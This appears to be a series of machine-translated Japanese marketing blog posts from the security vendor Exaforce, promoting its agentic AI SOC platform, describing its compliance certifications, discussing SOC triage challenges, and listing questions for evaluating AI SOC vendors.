Exaforceは、Exabots、タスク固有のAIエージェント、および高度なデータエクスプローラーを使用してこれを解決します。Exabotsはオートパイロットモードまたはコパイロットモードで動作し、すべての重要なSOCタスクを強化します。Advanced Data Explorerを使用すると、SOCチームは、ログ、ID、構成、コードコンテキスト、脅威インテリジェンスデータを組み合わせて、従来のSIEMイベントデータを超えたクエリや調査を簡単に行うことができます。また、自然言語クエリや、フィルターやチャートを備えたビジネスインテリジェンスのようなインターフェイスを通じてデータにアクセスすることもできます。この最新のアーキテクチャは、現在行っているデータエンジニアリングと変換作業と相まって、モダン環境のログ量の大部分を占めるIaaSおよびSaaSログのストレージコストを大幅に削減します。いずれの機能も、ディープラーニング、機械学習、ナレッジグラフ、LLM を組み合わせて総合的な推論を行うための専用マルチモデル AI エンジンによって強化されています。

その結果、高精度の検出、状況に応じた優先順位付け、迅速な調査が可能になり、小規模なチームが有能なSOCを数時間で立ち上げ、成熟したSOCをより迅速かつ正確に運用できるようになり、総所有コスト（TCO）を削減しながら、成熟したSOCをより迅速かつ正確に運用できるようになります。

より多くのクラウド脅威を検知して阻止

エクサフォースがお届けします すぐに使える脅威検出 重要な IaaS、SaaS、アイデンティティ環境にわたります。AWS、GCP、Google ワークスペース、GitHub、アトラシアン、OpenAI など、UEBA の手法を超えた内容を取り上げています。

レガシーツールを使用して効果的なUEBAと異常検出を構築することは簡単なことではありません。正確な検出をモデル化するには、保護対象のサービスと関連エンティティを深く理解する必要があります。これをうまく行おうとする大企業のほとんどは、検出エンジニアとデータサイエンティストのチーム全体に人員を配置しています。それでも、既存の異常検知と UEBA のアプローチは、クラウド ID やリソース向けに構築されておらず、誤検知が過剰に発生する傾向にあります。

代わりに、Exaforceは高度な異常検出とLLM推論機能を組み合わせています。アノマリーは、LLM がお客様の環境特有のビジネスコンテキストや推論とを結びつける「興味深いシグナル」になります。Exabotは、イベントデータだけでなく、構成データ、コードリポジトリ、ID、脅威インテリジェンスでも推論できます。

その結果、非常に正確で実用的な脅威検出が可能になり、小規模なSOCチームにも対応でき、監視しなければならない新しいサービスの数が増え続ける成熟したSOCチームの盲点を埋めることができます。

Tier 1分析を超える自動トリアージ

Exaforce検出、クラウドネイティブツール、またはSIEMからアラートが届くと、 エクサボットトリアージ 通常のTier 1分析をはるかに超える調査を行います。特定の時点のイベントに依存する従来のトリアージとは異なり、Exabotsは環境に関する深い知識と異常検出エンジンを活用して、時間の経過に伴う行動を推論します。

Exabotsは、複数の検出ソースにわたる脅威を相互に関連付けます。これがないと孤立した警告のように見えてしまうような、完全な攻撃ストーリーを作成します。調査のたびに、ID の状況、同業他社のベースライン、過去の成果などによってアラートが強化され、その後、誤検知または調査が必要という明確な判断が下されます。

ユーザーが最も正確なコンテキストを把握している場合、Exabotsは直接連絡します。これにより、ほとんどの SOC チームを悩ませている手動検証の時間を大幅に節約できます。自然言語のビジネスコンテキストルールはビジネスの優先事項を把握し、環境に合わせた知識を使用して AI 分析を微調整し、環境内で通常と見なされるアクティビティの誤検出を減らします。

これらのアクションを実行すると、Exabotsはオートパイロットモードまたはコパイロットモードで動作します。アナリストは、同じプラットフォーム内でフォローアップの質問をしながら分析を確認できます。調査に役立つ追加情報を取得するために、コンテキストを SIEM に切り替える必要はありません。

より迅速な調査と脅威ハンティング

ほとんどのSoCでは、 調査は根本的なデータ問題に直面しています。SIEM がなければ、セキュリティチームは保持ポリシーの異なる複数のデータソースを検索するため、調査を行うにはデータが不十分になり、データが入手可能になったときに情報をつなぎ合わせるという骨の折れる作業になります。SIEM では、イベントデータに限定されるため、どのエンティティがどのようなアクションを実行したか、どのような影響があったかなどの基本的な質問に答えるには、複雑なクエリを作成する必要があります。

Exaforceのアドバンストデータエクスプローラーは、従来のSIEMを超えています。イベント、ID、構成、コードコンテキスト、脅威インテリジェンスを豊富なリレーションシップと統合し、目的に合わせたユーザーエクスペリエンスを実現します。データは、自然言語検索や、真のデータ発見と視覚的なクエリを可能にするビジネスインテリジェンスのようなインターフェイスを介してクエリできます。データは高速なインメモリデータベースに保存されるため、リアルタイムの調査が可能になり、データウェアハウスは長期的な分析をサポートします。

同様に、データエクスプローラーとExabot Searchを使用すれば、脅威ハンティングも簡単になります。たとえば、Exabot Searchにウェブから既知のエクスプロイトに関する情報を取得させ、侵害の兆候を抽出するようにシステムに要求し、環境全体でそれらの指標をすべて自然言語で検索することができます。

アドバンストデータエクスプローラーとExabot Searchを組み合わせることで、チームは従来の調査の障壁を克服し、SIEMが提供できる以上の可視性を得ることができます。

エンドツーエンドの対応ワークフロー

Exaforceはチケット作成だけでなく、SlackやTeamsと統合してユーザーやマネージャーとのアクティビティを確認したり、Entra IDなどのIDプロバイダーと統合してパスワードリセット、MFAリセット、またはセッション終了を自動化したりします。アナリストは手動で対応することも、Exabotに自律的に行動させることもできるので、アナリストの貴重な時間を節約できます。

すべてのケースには、関連する調査結果、リソース、セッションが自動的に入力されるため、検出からアクションまでコンテキストがシームレスに流れます。組み込みのケース管理と Jira などのチケットシステムとの双方向同期により、コラボレーションが円滑になり、引き継ぎの遅延が減り、封じ込めと修復が加速されます。

プロアクティブなリスク管理

セキュリティは脅威を防ぐことでもあり、資産の態勢はアラートの調査に役立ちます。Exaforce は、ID、クラウドリソース、SaaS アプリケーションにわたる構成ミスや未使用の権限などのポスチャリスクを継続的に評価しています。これらのインサイトから最も影響の大きいリスクが明らかになるため、攻撃者が悪用される前にチームが対策を講じることができます。これと同じコンテキストが脅威検出のコンテキストとして追加され、Exabotsが行うアラートのトリアージと調査が強化され、精度と優先順位付けが向上します。

エクサフォースを使ってみる

私たちの使命は、AIによってSOCの生産性と精度を10倍向上させることです。これにより、小規模なチームが摩擦なく世界クラスのSOCを構築できるよう支援し、既存のチームが人員を増やすことなく検出と対応の範囲、速度、品質を拡大できるようになります。

既存のSOCを拡張したい場合でも、ゼロから構築したい場合でも、MDRで運用をオフロードしたい場合でも、ExaforceはエージェントAIをTier-1ワークフローだけでなく、セキュリティ運用のライフサイクル全体にもたらします。 デモをリクエストする どれだけ早く運用を開始し、検出から対応までのループをクローズできるかを確認するためです。

コンプライアンスが重要な理由

正直に言うと、ほとんどのスタートアップはコンプライアンスを飛行機の翼のように扱っています。彼らは飛行機全体を作り、離陸の準備をして、滑走路を転がり落ちている間にボルトで固定する必要があることに気づきます。

私たちは別の道を歩みました。

初日から、コンプライアンスはブループリントの一部でした。エンジニアリング部門が Agentic SOC プラットフォームを構築する一方で、企業全体が協力して、セキュリティ、ガバナンス、および運用慣行が SOC 2 のような最も厳しい基準に準拠していることを確認しました。コンプライアンスは当初から根付いており、プラットフォームの設計方法や日々の運用方法に直接組み込まれていました。

私たちの初期の設計パートナーは、規制対象の業界、医療、金融、ライフサイエンスの最前線から来ました。これらはロゴを追い求めるだけのパートナーシップではありませんでした。それらは私たちのプラットフォームのコア機能を形作る形成的な関係でした。そして、彼らに定着してもらい、私たちを信頼してもらいたいのであれば、私たちは彼らの言葉であるコンプライアンスを話さなければなりませんでした。

それで私たちは仕事に取り掛かりました。ショートカットはありません。遅延タイムラインはありません。最初から、物事を正しく行うという頑固な決意だけです。

早速ですが、SOC 2タイプIおよびII、ISO 27001、PCI DSS、HIPAA、GDPR、およびUSDPにロックインしました。そして、HITRUST e1については現在注視している最中です。そして一番すごいのは？私たちはこれらのマイルストーンの多くを予定より早く達成しました。

これは、すべてのポリシーを書き、すべてのスクリーンショットを追跡し、時にはエンジニアにクラフトビールで賄賂を渡してコンプライアンスの期限に間に合うように書いたスタートアップサバイバルガイドです。

私たちのビジョン:設計によるコンプライアンス

最初の顧客がオンボーディングする前に。最初のアラートが発生する前。プラットフォームがリリースされる前から、私たちはすでにコンプライアンスを念頭に置いて構築していました。

なぜ?私たちがやりたかったのは:

• 規制の厳しい業界が初日からExaforceを採用できるようにします。
• 私たちのプラットフォームと会社にエンタープライズグレードの信頼を築きましょう。
• セキュリティとガバナンスを後で組み込むのではなく、アーキテクチャに組み込んでください。
  

USDP、GDPR、HIPAA、HITRUSTなどのパートナー主導のフレームワークに備えながら、早い段階でSOC 2やISO 27001などのクラウドネイティブフレームワークと連携しました。

ロードマップ:ゼロから認定まで

ミッションを支えるリーダーシップ

「コンプライアンスは単なるマイルストーンではありません。それは考え方です。それが私たちのやり方です。」
— チーム・エクサフォース

コンプライアンスはチェックボックスとして扱われておらず、単一の個人や部署の責任でもありません。これは全社的な原則であり、オープンさ、アジリティ、透明性という私たちの文化に織り込まれています。

当社の経営陣は、初日から、セキュリティとコンプライアンスを業務のDNAに直接組み込むことに取り組んできました。しかし、私たちのプログラムの真の強みは、エンジニア、SRE、プロダクトリーダー、オペレーション、ビジネスチームなど、常に期待を上回る人材にあります。導入パイプラインの調整、オンボーディングフローの見直し、新しいプロセスの文書化のいずれであっても、全員が協力し合っています。

私たちの基盤としてのコラボレーション

コンプライアンスはトップダウンで実施されるのではなく、共通のイニシアチブになりました。この独自の文化により、コンプライアンス統制に変化が必要になったとき、話し合うのは抵抗ではなく、より速く、より良く、よりクリーンに機能させる方法についてでした。私たちは、基準を満たすだけでなく、不必要な摩擦を生じさせずに基準を引き上げる方法を繰り返し検討するよう努めました。

私たちは、監査、評価、リスク検証において、有名で信頼できる業界の専門家と提携しました。彼らの指導は、私たちのアプローチを改善し、最高水準を満たしていることを確認し、さらに水準を引き上げるための挑戦に役立ちました。このコラボレーションと社内の専門知識を組み合わせることで、監査準備が整い、運用面でもシームレスなプログラムを構築することができました。

プロセスを支えたプラットフォーム

動きの速いスタートアップ企業でコンプライアンスを拡大し自動化するために、堅牢でクラウドネイティブなツールセットを採用しました。私たちは、ポリシー管理、自動化、アクセス制御のための実証済みのクラウドネイティブプラットフォーム上にコンプライアンス基盤を構築しました。これらのプラットフォームは、大手企業が使用しているのと同じ種類のツールです。これらのシステムにより、証拠となる信頼できる唯一の情報源、統制の自動監視、オンボーディングとオフボーディングの合理化が可能になりました。

しかし、その中で最も重要なプラットフォームは私たち自身のものでした。Exaforce Agentic SOC Platformを社内で使用して、異常なアクティビティの検出、優先順位付け、調査を行いました。セキュリティのためだけでなく、コンプライアンス統制の遵守と検証をリアルタイムで行うためです。私たちがお客様に提供する機能は、私たちが直面しているのと同じ精査に耐えられることを証明しました。

「私たちは自分たちでシャンパンを飲みました。私たちのプラットフォームは単に他の人のために作られたのではなく、それが機能することを証明するために社内で使いました。」
— チーム・エクサフォース

業務への組み込み

私たちのスタックを活用し、1つのチームとして取り組むことで、コンプライアンスは四半期ごとにパニックに陥るのではなく、継続的な習慣になりました。タスクは自動的に追跡されます。アラートは Slack を通じてトリアージされます。アクセスレビューは表示され、文書化されます。監査依頼が来たときには、すでに証拠が揃っています。

この組み込みモデルがExaforceの差別化要因です。私たちは、コンプライアンスを競争力、信頼の促進、そしてクラウドセキュリティをよりインテリジェントにするというプラットフォームの使命の延長線上にあるものとして捉えています。

塹壕からの教訓

真の課題：アクセスなし = 証拠なし

私たちは最低限の権限で運営されているため、証拠が必要なシステムに直接アクセスできないことが何度もありました。危機的な時期にSREを追いかけているのか？賄賂（ビール）を贈ったり、悲惨な結果について冗談を言ったりして、クリエイティブにならなければならなかったとだけ言っておきましょう！

最大のメリット:監査結果なし

監査人がクリーンなレポート（調査結果なし、変更なし、やり直しなし）を返したとき、それは深い誇りの瞬間でした。もう 1 つのハイライトは、製品スプリントのプレッシャーにもかかわらず、社内の認証期限に間に合わなかったことです。

カルチャーシフト

動きの速いスタートアップチームに、オンボーディングを完了させたり、ポリシーを読んだり、トレーニングビデオを見たりするよう説得するのは簡単ではありませんでした。しかし今日では、コンプライアンスは私たちのチームが行っていることであり、その考え方が勝利につながっています。

コンプライアンス文化の構築

Exaforceでは、コンプライアンスは業務のあらゆる段階に織り込まれている考え方です。私たちのアプローチは、自動化、文化、アカウンタビリティを融合させたものです。すべての新しいチームメンバーは、最初の週にトレーニングビデオとポリシー謝辞を完成させ、Vantaで自動的に追跡し、GitHubのオンボーディングフローを通じて強化します。Slackに統合されたボットとメールは、コンプライアンスタスクに関するリマインダーをタイムリーに配信し、生産性を損なうことなくスタッフを完全に連携させるよう優しく導きます。私たちのエンジニアリング文化は、安全なコーディング慣行、社内のピアレビュー、ポリシーとアーキテクチャの承認を優先しています。最後に、出口は入口と同じ精度で管理されるため、システムやアクセスが途切れることはありません。

これらは根深い業務習慣です。そして、監査人が異論を言うと、私たちのコンプライアンス文化と表面的なレベルの変化との違いが明らかになります。

自分たちでシャンパンを飲む：職場のエージェンティックAI

私たちは自分たちで使っています エージェンシー SOC プラットフォーム 内部で検出、トリアージ、アラートを行います。これには、私たち自身の使用法から学ぶことと、実際の運用上の価値を提供するという二重の利点があります。

例 1: 休眠アカウントの再有効化

デザインパートナーのアカウントで休眠中のユーザーが突然アクティブになるのをシステムが検出しました。無効化すべきだったのは契約者のアカウントだったことが判明しました。何か大きなことが起こる前にエスカレーションして、彼らがシャットダウンするのを手伝いました。社内でコンプライアンスに準拠したプロセスを実施した場合、プラットフォームは同様の状況を通知してくれます。

例 2: ブルートフォースログイン試行

別のパートナーについては、複数のアカウントにわたる不審なアクティビティを報告しました。初めてアカウントが無効になりました。2 回目には、MFA ポリシーを刷新しました。このような検出により、いくつかのコンプライアンス統制を実現できます。

これこそが、検知、トリアージ、調査、対応を網羅するように構築されたエージェント型AI SOCプラットフォームの力です。

発売前に提供した価値

コンプライアンスは常に私たちにとっての出発点でした。製品を出荷する前から、当社のセキュリティ体制はすでに扉を開いていました。これが実際の意味するところです。

スムーズなセキュリティレビュー
複雑なベンダー評価を早期にクリアし、設計パートナーや見込み客の赤信号を青信号に変えました。

調達サイクルの加速
買い手は、「近日発売」を約束するスタートアップではなく、成熟した安全なパートナーを求めていました。

より強い第一印象
当社のセキュリティトラストセンターは利害関係者に感銘を与え、私たちが彼らのデータ保護をいかに真剣に受け止めているかを示しました。

購入者の信頼感を内蔵
規制の厳しい業界においても、コンプライアンスは導入初日から信頼を得ました。

セキュリティとコンプライアンスを市場開拓活動に組み込むことで、期待に応えただけでなく、発売前に期待を上回りました。

将来を見据えて

信頼と透明性への取り組みは、当初の認証を超えて進化し続けています。次のロードマップは、ISO 27017、ISO 27018、野心的な FedRAMP プログラムなどの高度なフレームワークです。私たちは、コンプライアンスを維持するためのよりスマートでスケーラブルな方法に投資し、信頼性を高めながら手作業による諸経費を削減しています。お客様やパートナーがいつでも当社のポリシー、認証、セキュリティ体制にアクセスできる、一般向けの統合ハブです。

最終的な考え

CISO、コンプライアンス責任者、またはセキュリティ意識の高い購入者向けに、この製品を開発しました。Exaforce は、コンプライアンスを遵守し、インテリジェントで、信頼を第一に考えるクラウド・セキュリティ・パートナーです。

私たちは最初に困難な道を進んだので、お客様は後で速く進むことができました。

一緒に未来を守りましょう。

トリアージ業務に従事するSOCアナリストの一日

一日の始まりに、組織のデータやシステムに対する潜在的な脅威を知らせる大量のセキュリティアラートに直面することを想像してみてください。ただし、それは調査結果の山から針を見つけた場合に限られます。トリアージアナリストの最初の仕事は、セキュリティ情報およびイベント管理 (SIEM)、エンドポイント検出と対応 (EDR)、侵入検知システム (IDS)、メールセキュリティなどから入ってくるアラートを監視することです。そして、これらは単なるセキュリティツールです。アナリストとしては、ネットワークツールや ID プロバイダーなどからの未処理のログも必ず調べておく必要があります。エンドポイント、ネットワーク、クラウドプラットフォーム、SaaS アプリケーションを可視化することは重要ですが、このような広範なデータを管理するのは大変な作業です。

摂取後は、最初のレビューが不可欠です。アナリストは、誤検出を除外するためのアラートの検証、ログが十分であることの確認、より詳細な調査のための質の高い証拠の確保にかなりの時間を費やしています。続いて、各アラートを重要度 (重大、高、中、低) で分類し、緊急度、影響、資産機密性に基づいて優先度で分類します。

コンテキストや相関関係を追加してこれらのアラートを充実させることも、時間のかかる作業です。アナリストは、さまざまなシステムやログからより多くの情報を収集し、影響を受けたエンティティを既知のユーザー行動や過去のインシデントと相互参照し、大規模な攻撃キャンペーンや CEO の出張などの無害な出来事を示すパターンを特定する必要があります。このプロセスは、ツールが分断されていたり、データ形式に一貫性がないために、面倒で間違いも起こりやすいものです。

インシデントの分類、基本的な対応、封じ込め、エスカレーションには、綿密な文書化とチーム間の明確なコミュニケーションが必要です。従来のSOCプロセスでは、初期トリアージを行うレベル1のアナリストと、レベル2または3の上級アナリストとの間でスムーズな引き継ぎを行うことがしばしば課題となります。ほとんどの場合、AIは階層1の反復作業を自動化するために使用されています。しかし、アラートがTier 2またはTier 3のアナリストにエスカレーションされると、重大なボトルネックとストレスが発生します。そこでは、専門知識の欠如と不十分なデータが不十分なためにコンテキスト化が不十分になります。

今日のトリアージ分析が直面している課題

トリアージアナリストは、効率と効果を妨げるいくつかの根強い課題に直面しています。既存のソリューション (SIEM、SOARなど) は、こうした課題に対処するようには設計されておらず、むしろノイズや柔軟性が増すことで状況を悪化させています。

• 誤検出率が高いと時間が無駄になる:Tier 1は、多くの場合無関係なアラートをすり抜ける必要があります。 99% まで 場合によっては警戒疲労やタイムロスを招きます
• ツールが断片化されていると、トリアージやエンリッチメントに時間がかかり、手動になります。Tier 1のアナリストは、接続されていないセキュリティシステムとセキュリティシステム以外のシステムのコンテキストをつなぎ合わせ、ログの関連付け、アラートの強化、手作業による調査などを行う必要がありますが、これらはすべて手動で行う必要があります。 応答が遅くなり、エラー率が上がる。
• 若手アナリストへの非現実的なスキル要求:多くの場合、トリアージはクラウド、アイデンティティ、エンドポイント、Kubernetes、SaaSなどに及んでおり、エントリーレベルの人材には期待できない幅広い技術的知識が必要です。
• フィードバックがないと改善が妨げられる:下流チームからのフィードバックやケース結果の可視性がなければ、Tier 1 アナリストは時間をかけて精度を向上させるのに苦労します。同様に、Tier 1 のアナリストは、上流に質の高いフィードバックを提供するのに苦労することがあります。 検出の改善 適切または正確な分析が提供されないことを恐れて。
• 人員不足のチームからの圧力の高まり:人員不足により、より多くのアラートが担当する負担が減り、上記のすべての問題がさらに悪化しています。多くの組織にとって、これだけでSOCを持つことは手の届かないものになる可能性があります。

これらの課題は、SOCにおけるアラートの優先順位付けに、より合理的でインテリジェントなアプローチが極めて必要であることを浮き彫りにしています。これは、階層1の大量のルーチン作業だけでなく、従来は階層2と階層3で発生していた困難で頻繁にエスカレートされるケースにも当てはまります。

AIを活用した自動化によるトリアージの変革

最近のAI（GenAIとML）の進歩により、トリアージプロセスとトリアージにおけるアナリストの役割を根本的に変える機会が生まれました。私たちは、これらの進歩を活用してトリアージ、調査、対応プロセスを含む SOC ライフサイクル全体を改善するために、Exaforce をゼロから構築しました。

自動誤検出リダクションによるノイズの低減

Exaforceは、誤検出を自動的に識別してマークすることで、アナリストが直面するノイズを軽減します。ログ、構成、ID、脅威インテリジェンスフィード、さらにはコードリポジトリ構成を統合して、非常に正確な初期分析を行います。Exaforce では、複数の AI 技術を活用することで、システムやツール間であっても同様のアラートを重複排除し、関連する結果を連鎖させることで、アラートの量をさらに減らすことができます。

アナリストには、原則に関する詳細、ユーザーとエンティティの所在地に関する理解、セッション中に取られたすべてのアクション、リソースに関する詳細、ユーザーとその仲間の行動に関する詳細な行動分析など、各決定の背後にある理由を概説した明確な要約が提供されます。たとえば、AWS GuardDutyが疑わしいユーザーアクティビティにフラグを付けると、Exaforceのトリアージエージェントは、ユーザーID、セッションの詳細、ユーザーの場所、リソースの命名規則などの複数の指標を評価して、それが真の脅威なのか、テストシナリオなどの無害なイベントなのかを判断します。

自動化されたヒューマンインザループによる迅速なワークフロー

そこで、統合プラットフォームであるExaforceは、トリアージとレスポンスの境界を曖昧にします。Exaforce は Slack などの統合チャネルを通じてアナリストのワークフローを自動化し、疑わしい行動をユーザーやマネージャーに直接迅速に確認できるようにします。これにより、アナリストの負担が大幅に軽減され、わかりやすい確認のための手動の調査タスクが不要になり、応答時間が短縮され、アナリストはより複雑な問題に集中できるようになります。

継続的な学習とコンテキストに応じたカスタマイズ

Exaforceは、過去の背景やアナリストのフィードバックを取り入れて継続的に学習しています。「調査が必要」と見なされて「誤検知」に移行された以前のアラートは、その後のすべてのアラート分析のコンテキストに追加され、トリアージの精度が向上します。最初に「調査が必要」とタグ付けされたアラートが、後で誤検知としてクリアされると、その結果が AI の履歴の一部となり、今後のアラートのスコア方法が洗練されます。エンジンは、最終的に当初の解決策に従ったものも含め、類似したアラートの結果を相互参照して、すべての新しいアラートに対して、状況に応じた詳細な評価を行います。

組織は、カスタマイズされたビジネスコンテキストルールをプラットフォームに直接追加して、業務やリスクのプロファイルに合わせてトリアージと対応のプロセスを調整することもできます。その結果、脅威の検出の正確性と関連性が高まります。たとえば、ある大手バイオテクノロジープロバイダーでは、ビジネスコンテキストには安全であることが確認されているVPNゲートウェイIPのリストが含まれています。企業の VPN ゲートウェイ間など、ユーザーがこれらの IP を切り替えると、Exabots はこの動作を想定どおりに認識し、「移動不可」としてフラグを付けるのではなく、検出の忠実度を損なうことなく誤検出を減らします。

アラートのコンテキスト化と調査の強化

Exaforceは、セッションやシステム全体のコンテキストを相互に関連付けることでアラートを自動的に強化し、セキュリティ、クラウド、DevOps、エンドポイントなどの知識を持つ専門アナリストが通常必要とする重要な調査の質問に答えます。これにより、EKS などの IaaS サービス、Google Drive などの SaaS サービス、GitHub などのバージョン管理システムなど、この分野の専門家しかできない方法であらゆるアラートを詳細にコンテキスト化できます。これらはすべてわかりやすい方法でまとめられていますが、アラートが調査チームに渡されても、要約の背後にあるデータは引き続き利用可能です。これにより、業務が大幅に簡素化され、迅速化されます。 アラートの調査 それは自動的にトリアージされません。

あらゆる規模のチームに力を与える

Exaforceは高度なSOC機能を一般化し、人員不足のチームや小規模なチームでも高度なセキュリティ運用を実現できるようにします。複雑なトリアージプロセスを自動化することで、Tier 1 アナリストの負担が大幅に軽減され、残りの SOC プロセスの妨げがなくなります。これにより、Exaforceは専任のSOCチームの有無にかかわらず、強固でプロアクティブなセキュリティ体制を維持できるようにします。

混乱のないトリアージング

トリアージは、SOCアナリストの仕事で最も面倒な部分ではないはずですが、今日ではそうなることがよくあります。誤検出率が高く、調査に時間がかかり、ツールが断片化され、フィードバックループが壊れているため、Tier 1からTier 3のアナリストが効率的に作業したり、時間の経過とともに結果を改善したりすることが難しくなっています。また、階層間の引き継ぎによって遅延や一貫性が失われるため、最善のトリアージの取り組みでも、実際の対応が始まる前に頓挫してしまうことがあります。

Exaforceは、エージェント向けSOCプラットフォームにトリアージを組み込むことでこの状況を変えました。チームやツール間で共有されているインサイトを維持しながら、エンリッチメント、優先順位付け、コンテキスト化を自動化します。これにより、誤検知が多い場合のバックプレッシャーを自動的に軽減し、最も熟練したアナリストの知識を活用してツールやプラットフォーム間のエンリッチメントを自動化できるため、人員不足のチームの負担が軽減され、下流と上流のプロセスが改善されます。Exaforceは、トリアージを孤立したステップとして扱うのではなく、コンテキストが自然に流れ、フィードバックループが損なわれず、アナリストがより迅速かつスマートに行動できるようになる、継続的なAI主導型ワークフローの基盤にしています。なぜなら、トリアージだけではAI SOCは成り立ちませんが、適切なプラットフォームと適切な変革プロセスを備えていればできるからです。

AIを活用した適切なセキュリティオペレーションセンター (SOC) ソリューションを選択することは、もはや機能リストを比較するだけではありません。重要なのは、あるプラットフォーム (およびその背後にいるチーム) が、組織のセキュリティ機能を本当に高め、アナリストのワークフローを合理化し、進化し続ける脅威環境に適応できるかどうかを判断することです。以下の質問セットは、検討中のあらゆる AI SOC イニシアティブの技術的深さ、運用上の成熟度、ビジネス連携の度合いを調べるのに役立つ、包括的な評価ガイドとして作成されています。

どのベンダーも、AI SOC ソリューションを評価するための独自の「究極のガイド」を提示しています。これにより、ノイズを切り抜けることが難しくなる可能性があることを認識しています。そのため、検討しているプラットフォームに関係なく、実際の運用上のニーズに基づいて、このガイドを可能な限り偏りのない、普遍的に役立つものにするよう努めてきました。

このガイドの質問を使用して、さまざまなソリューションがどのように検出精度、自動化、マネージドサービスの品質を実現するかを明らかにしてください。SOC をゼロから構築する場合でも、成熟したプログラムをチューニングする場合でも、MDR パートナーを審査する場合でも、このフレームワークはリスクプロファイルにとって重要な強みとギャップを明らかにします。現在の成熟度で基準を設定してみましょう。以下の表は、その成熟度と、SOC ライフサイクルの各フェーズにおける各セクションの質問の使用方法をまとめたものです。

検知

• AI SOCツールは、単独で独自の正確な検出を生成したり、取り込んだSIEMの結果を補強したりできますか？
• プラットフォームではカスタム検出を作成できますか？
• システムは、検出の忠実度を高めるために、環境固有のコンテキストを使用して検出をトリアージしていますか？
• システムは、実施している調査から検出結果を作成できますか？
• システムは侵害の兆候 (IOC) を抽出し、既知のエクスプロイトに関するデータから検出を行うことができますか?
• プラットフォームには広範囲にわたるカスタマイズとチューニングが必要なのか、それとも組織固有の環境、行動パターン、ビジネスコンテキストを自動的に学習して適応させることができるのか？
• プラットフォームは、ティア1からティア3のアナリストのワークフローをエンドツーエンドでカバーして、ハンドオフの問題を最小限に抑え、インシデントのライフサイクル全体を通して調査コンテキストを維持できるようにしていますか？

トリアージング

• プラットフォームには、ビジネス固有のコンテキスト (資産の重要度、ユーザーの行動、環境など) をどのように組み込んで、重要度の割り当て、アラートの優先順位付け、誤検出の削減を行っていますか?
• プラットフォームは、重大度や状況に基づいたトリアージ、アラートルーティング、対応をどのように自動化しているのでしょうか。
• 問題をトリアージするときに、該当する場合、システムにユーザーフィードバックを含めることはできますか？
• システムは過去のトリアージされたアラートから学習して、将来の結果を改善していますか？もしそうなら、過去の分析ではどのような情報を考慮に入れるのか？
• AI主導の意思決定の背後にある理論的根拠を明確に把握し、調査結果を誤検出としてマークするなどのアクションの完全な監査証跡にアクセスして、説明責任とレビューを行うことはできますか？
• プラットフォームは検出結果をMITRE ATT&CKフレームワークにマッピングしていますか？また、これをどのように提示して理解と対応を促進していますか？
• このプラットフォームは、トリアージ中およびトリアージ後の会話による対話をサポートしており、アナリストがフォローアップの質問をしたり、自然言語で洞察を得たりできるようになっていますか？
• トリアージ・プロセスの一環として、複数のアラートを他のデータ・ソースに関連づけ、より広範囲の影響を判断できますか？
• エージェントの平均調査時間 (MTT) はどのくらいですか。MTTI は、アラートが取り込まれてから、アラートに関するシステムからの推奨/処理が行われるまでの時間間隔と考えてください。

調査

• アナリストがアラートを効果的に理解し、ナビゲートし、調査しやすくするために、システムはそのまますぐにデータの解析、正規化、重複排除、エンリッチメントを実行していますか？
• このプラットフォームは、接続されたアイデンティティ、システム間の時系列的に近いイベント、IPに関する脅威インテリジェンスの強化、関連するアラート、ツール、行動に関する効果的なユーザー教育など、一般的なアナリストが既に知っている以上の意味のあるコンテキストと説明を提供していますか？
• プラットフォームは、アラートに優先順位を付け、ユーザー、資産、行動全体で意味のあるパターンを明らかにするために、ベースライン、ID解決、リスクスコアリングなどの高度な分析手法を適用していますか？
• アナリストはプラットフォーム内でどの程度調査を完了できますか？また、外部ツールやデータソースにピボットする必要がある頻度はどれくらいですか？
• このプラットフォームでは、アラートとイベントの明確でコンテキストに沿った要約（理論的根拠、リスクレベル、充実した指標など）を提供して、調査に役立てたり、標準的な詳細以外にもアナリストを教育したりしていますか？
• このプラットフォームでは、最初の調査結果からシームレスに調査の方向転換が可能で、フォローアップの質問や問い合わせを通じてより深い調査が可能になっていますか？
• このプラットフォームは、仮説に基づく脅威ハンティングや内部脅威分析など、柔軟な調査ワークフローをサポートしていますか？
• このプラットフォームは、調査や調査結果を文書化するための共有ワークスペース、メモ、タイムラインなど、アナリストとAIエージェント間のリアルタイムのコラボレーションをサポートしていますか？

応答

• プラットフォームは、アラートの重要度やビジネスコンテキストに基づいて、MFAのリセットやセッションの無効化など、コードなしで自動化された応答ワークフローをトリガーできますか？
• システムには静的プレイブックの構築が必要か、それともどのような状況でどのようなアクションを実行する必要があるかをプロンプトでシステムに説明してもらえますか？
• そのソリューションは、ユーザー、マネージャー、またはアナリストをいつ関与させるかを決定する柔軟なビジネスルールを備えた、人間による意思決定をサポートしていますか？
• プラットフォームは、ユーザーのアイデンティティ、資産の露出、行動の異常を考慮に入れて、状況に応じたリスクスコアに基づいて対応アクションの優先順位を付けて実行できますか？
• このプラットフォームには、SOC、IT、その他のチーム全体の対応作業を調整するためのリアルタイムのマルチユーザーコマンドセンターが、タイムライン、メモ、次のステップを含めて提供されていますか？
• システムは既存のSOARテクノロジーと統合して、既存の対応ワークフローを活用していますか？

サービス (MDR サービスを選択する場合)

• プロバイダーはデータソースとどのように統合されていますか？API ベースの統合ですか?
• MDRでは、ログを集約して監査できるようにSIEMを用意する必要がありますか？
• 価値を認めるタイミングとは？オンボーディングから気づき始めるまで、MDR プロバイダーはお客様の環境を理解し、忠実度の高いエスカレーションを行います。
• MDRのやり取り以外でも、基盤となるプラットフォームに24時間365日アクセスして、可視化、調査、コラボレーションを行うことはできますか？
• MDRプロバイダーは既存のSOCツール（SIEM、SOAR）とどのような統合を行っていますか？
• プロバイダーは、継続的な監視、トリアージ、エスカレーションを含む、真の24時間365日のマネージドディテクションアンドレスポンス（MDR）サービスを提供していますか？
• チームには、IaaS、SaaS、および最新のインフラストラクチャ環境にわたる豊富な経験を持つセキュリティ専門家が含まれていますか？
• 質問、エスカレーション、またはインシデント処理に対して、MDRまたはサポートチームに期待される対応はどのくらいですか？また、これはSLAによって裏付けられていますか？
• 連携、改善、進化する脅威への対応を確実にするため、定期的なチェックインやサービスレビューは実施の一環ですか？

アーキテクチャとデプロイ

• このソリューションは、運用を簡素化し、コストを予測可能にするSaaS導入モデルとして提供されていますか？
• このプラットフォームは、シングルテナンシー、クラウドへのデプロイ機能、データ主権をサポートしており、データの分離を保証し、コンプライアンス要件を満たし、データを保存および処理する場所の管理を維持できますか？
• プラットフォームは複数レベルの組織階層と細分化されたロールベースのアクセス制御（RBAC）をサポートして、MSP環境と複数のビジネスユニットから成る複雑な企業構造を効果的に管理していますか？
